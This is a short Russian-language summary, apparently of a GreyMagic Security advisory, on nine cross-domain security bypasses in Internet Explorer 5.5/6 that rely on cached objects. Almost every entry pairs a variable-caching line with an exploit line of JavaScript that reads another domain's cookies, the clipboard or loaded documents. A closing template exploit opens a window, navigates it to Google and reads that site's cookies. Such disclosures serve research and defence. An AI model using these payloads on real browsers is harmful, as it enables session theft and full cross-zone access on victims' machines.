При передаче данных между окнами броузер
проверяет, находятся ли они в одной зоне
безопасности и в одном домене. Всего
компания GreyMagic Security нашла девять способов
обойти проверку и все они связаны с
кэширование объектов. В каждой уязвимости
расписано: Cache - определяем переменную,
Exploit - показывает как работать в контексте,
Результат - последствия использования.
* showModalDialog
Cache: var fVuln=oWin.showModalDialog;
Exploit - IE 5.5: fVuln("javascript:alert(dialogArguments.document.cookie)",oWin,"");
Exploit - IE 6: Вероятно возможен через старую
уязвимость analyze.dlg.
Результат: Полный доступ в IE5.5 (полный
доступ означает возможность чтения любых
документов Document Object Model, любого домена и
любой зоны, любого файла и запуск программ),
зона "My Computer" в IE6.
external
Cache: var oVuln=oWin.external;
Exploit: oVuln.NavigateAndFind("javascript:alert(document.cookie)","","");
Результат: полный доступ
createRange
Cache: var fVuln=oWin.document.selection.createRange;
Exploit: fVuln().pasteHTML("<img src=\"javascript:alert(document.cookie)\">");
Результат: полный доступ
elementFromPoint
Cache: var fVuln=oWin.document.elementFromPoint;
Exploit: alert(fVuln(1,1).document.cookie);
Результат: полный доступ
getElementById
Cache: var fVuln=oWin.document.getElementById;
Exploit: alert(fVuln("ElementIdInNewDoc").document.cookie);
Результат: полный доступ
getElementsByName
Cache: var fVuln=oWin.document.getElementsByName;
Exploit: alert(fVuln("ElementNameInNewDoc")[0].document.cookie);
Результат: полный доступ
getElementsByTagName
Cache: var fVuln=oWin.document.getElementsByTagName;
Exploit: alert(fVuln("BODY")[0].document.cookie);
Результат: полный доступ
execCommand
Cache: var fVuln=oWin.document.execCommand;
Exploit: fVuln("SelectAll"); fVuln("Copy"); alert(clipboardData.getData("text"));
Результат: Чтение загруженных документов.
clipboardData
Cache: var oVuln=oWin.clipboardData;
Exploit: alert(oVuln.getData("text")); or oVuln.setData("text","data");
Результат: Доступ к буферу обмена.
IE 5 SP2 и IE6 SP1 не уязвимы.
Эксплоит - чтение куки сайта Google:
<scr!pt language="jscript">
var oWin=open("blank.html","victim","width=100,height=100");
[Cache line here]
location.href="http://google.com";
setTimeout(
function () {
[Exploit line(s) here]
},
3000
);
</script>